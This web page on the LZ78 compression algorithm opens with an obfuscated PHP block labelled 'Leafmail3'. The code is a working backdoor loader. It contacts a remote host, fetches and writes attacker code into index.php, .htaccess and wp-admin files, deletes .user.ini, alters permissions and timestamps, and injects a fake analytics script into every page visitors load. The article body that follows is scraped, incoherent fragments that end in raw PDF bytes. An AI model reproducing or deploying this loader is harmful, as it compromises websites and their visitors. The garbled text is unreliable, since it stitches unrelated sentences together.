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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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<h1 class="title" itemprop="name" id="art-title">Lz78 compression algorithm</h1>

                            
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<p><span style="font-size: inherit;"><span style="color: rgb(0, 112, 192);"><b>Lz78 compression algorithm.  Sep 6, 2017 · Table 1.  Introduction The Lempel&ndash;Ziv-77 (LZ77) [1] and Lempel&ndash;Ziv-78 (LZ78) [2] factorizations are some The LZ78 algorithm works by constructing a dictionary of substrings, which we will call &#92;phrases,&quot; that have appeared in the text.  4.  Legal Issues.  LZ77 iterates sequentially through the input string and stores any new match into a search buffer.  Now before we dive into an implementation, let&rsquo;s understand the concept behind Lempel-Ziv and the various algorithms it has spawned.  Dec 1, 2011 · The LZ series algorithms, such as LZ77, LZ78, and LZW [29], are widely used and provide good compression rates.  This is a great advantage in that you don&rsquo;t have to receive the entire Jul 24, 2014 · Implementing the LZ78 compression algorithm in python.  The process of compression can be divided in 3 steps:Find the longest match of a string that starts at the current position with a pattern available in the Dec 12, 2016 · I'm trying to implement the LZ78 compression algorithm in C++, and I want my program to work like this: Open file and read contents into string Compress string, outputting a string containing the The LZ77 and LZ78 algorithms authored by Lempel and Jacob Ziv have led to a number of derivative works, including the Lempel&ndash;Ziv&ndash;Welch algorithm, used in the GIF image format, and the Lempel-Ziv-Markov chain algorithm, used in the 7-Zip and xz compressors.  Probability Coding : Huffman + Arithmetic Coding Applications of Probability Coding : PPM + others Lempel-Ziv Algorithms : &ndash; LZ77, gzip, &ndash; LZ78, compress (Not The proposed method is evaluated on 31 well-known lossless compression algorithms of the Association for Computational Linguistics dataset. be/drmDsIsGsRQ#ktubtech #datacompression #lz78 #lz77 #dictionarytechniques #cst446 #ktutuition #ktu This algorithm uses a dictionary compression scheme somewhat similar to the LZ77 algorithm published by Abraham Lempel and Jacob Ziv in 1977 and features a high compression ratio (generally higher than bzip2) [2] [3] and a variable compression-dictionary size (up to 4 GB), [4] while still maintaining decompression speed similar to other The program is a demonstartion of the LZ78 compression algorithm as it reads content of text file and saves index-symbol pairs in output file.  Decompress .  The LZ78 parsing of S can be viewed as a context-free grammar in which for each dictionary word S i = S j &alpha;, there is a production rule X i = X j &alpha;.  read a character K.  LZ77 and LZ78 Compression Algorithms &bull; LZ77 maintains a sliding window during compression.  The average top 1 accuracy of the proposed method is 92.  LZ78 algorithm transforms an input string S of length N into a sequence &#92;(P_1,P_2,&#92;ldots ,P_n&#92;) of substrings such that each phrase &#92;(P_k=p_{k_1}p_{k_2}&#92;) is defined as follows.  In the book they suggest that a trie is an appropriate data structure for implementing a dictionary for LZ78.  It was published by Welch in 1984 as an improved implementation of the LZ78 algorithm published by Lempel and Ziv in 1978.  [2] They are also known as LZ1 and LZ2.  When it finds a repetition, it May 21, 2024 · Compression Speed: LZW compression can be slower than some other compression algorithms, particularly for large files, due to the need to constantly update the dictionary.  According to some articles LZW has better compression ratio and according to others leader is LZ77.  Lempel-Ziv, commonly referred to as LZ77/LZ78 depending on the variant, is one of the oldest, most simplistic, and widespread compression algorithms out there.  0.  Both of these algorithms (along with LZ78's predecessor, LZ77) come from a class of compression algorithms called dictionary coders, which use the fact that most inputs contain many sequences of characters which appear multiple times as a means to reduce file size.  If a match is found, output the pointer P.  Lossless, Benchmarks, &hellip; Information Theory : Entropy, etc.  Readme License.  We did cross comparison of all algorithms and gave suggestions on how to choose an algorithm for real application.  This means that you don&rsquo;t have to receive the entire document before starting to encode it.  In the face of the shortage of radio spectrum resources, the contradiction between supply and demand and other issues, data compression technology can ensure data integrity while saving storage space, effectively improving the utilization of spectrum resources.  compression multimedia decompression lempel-ziv data-compression lz78 lz78-compression lempel-ziv-78 CPS 296.  There exist several compression algorithms based on this principle, differing mainly in the manner in which they manage the dictionary.  As an example they show what the trie for &quot;sir_sid_eastman_easily_teases_sea_sick_seals&quot; would look like. e i'm only interested in the size of the compression.  In modern data compression, there are two main classes of dictionary-based schemes schemes, named after Jakob Ziv and Abraham Lempel, who first proposed them in 1977 and 1978.  They have broad applications in image compression [30], file compression, and Jul 4, 2018 · 2.  In 1978, the same duo published their LZ78 algorithm which also uses a dictionary; unlike LZ77, this algorithm parses the input data and generates a static dictionary rather than generating it dynamically. e. 2 LZW.  LZ78 compresses a given text based on a dynamic dictionary which is con-structed by partitioning the input string, the process of which is called LZ78 factorization.  Feb 10, 2019 · Since I want to implement algorithm myself I need something that isn't very complicated.  Sep 6, 2017 · The Lempel-Ziv 78 ( LZ78 ) and Lempel-Ziv-Welch ( LZW ) text factorizations are popular, not only for bare compression but also for building compressed data structures on top of them.  Description.  The algorithm for LZW compression is shown below: set w = NIL.  Jan 1, 2015 · They also considered several approximation algorithms, including LZ78.  Move the coding position (and the window) L bytes forward.  Genetics compression algorithms are the latest generation of lossless algorithms that compress data (typically sequences of nucleotides) using both conventional compression algorithms and genetic algorithms adapted to the specific datatype. ).  Today, there are many variations of these algorithms.  In future articles, we&rsquo;ll expand on its family: LZ78, LZW, LZSS, DEFLATE, and more.  LZ series algorithm belongs to lossless data compression algorithm.  It takes advantage of a dictionary-based data structure to compress our data.  Sep 10, 2020 · LZ77, a lossless data-compression algorithm, was created by Lempel and Ziviv in 1977. 5 %&Ccedil;&igrave; &cent; 5 0 obj &gt; stream x&oelig;&aring;&#92;&euml; &Aring; W&Icirc;&raquo;&ouml;e&Iuml;&sup2;&Iacute; &Yuml;_ &AElig;&euro;&Iacute;&OElig; &uacute;&yacute;HH&gt; DH&circ;H ,&aring; &mdash; &Auml;&Oslash; b &oslash;&oelig;&Dagger;&rsquo;&iquest;&gt;U&Yacute;3&Oacute;&Otilde;;={w&deg;&Dagger;#&hellip; G_o?&ordf;&euml;&ntilde;&laquo;&ecirc;&ecirc;Z^T&not;&aring;&cent;b&oslash;&Oacute;7 ?_&frac14;&yuml;&trade;&shy;&frac34;~&sup1;x&plusmn;&agrave;&scaron;U&oslash;&iuml;&oacute;&ETH;2 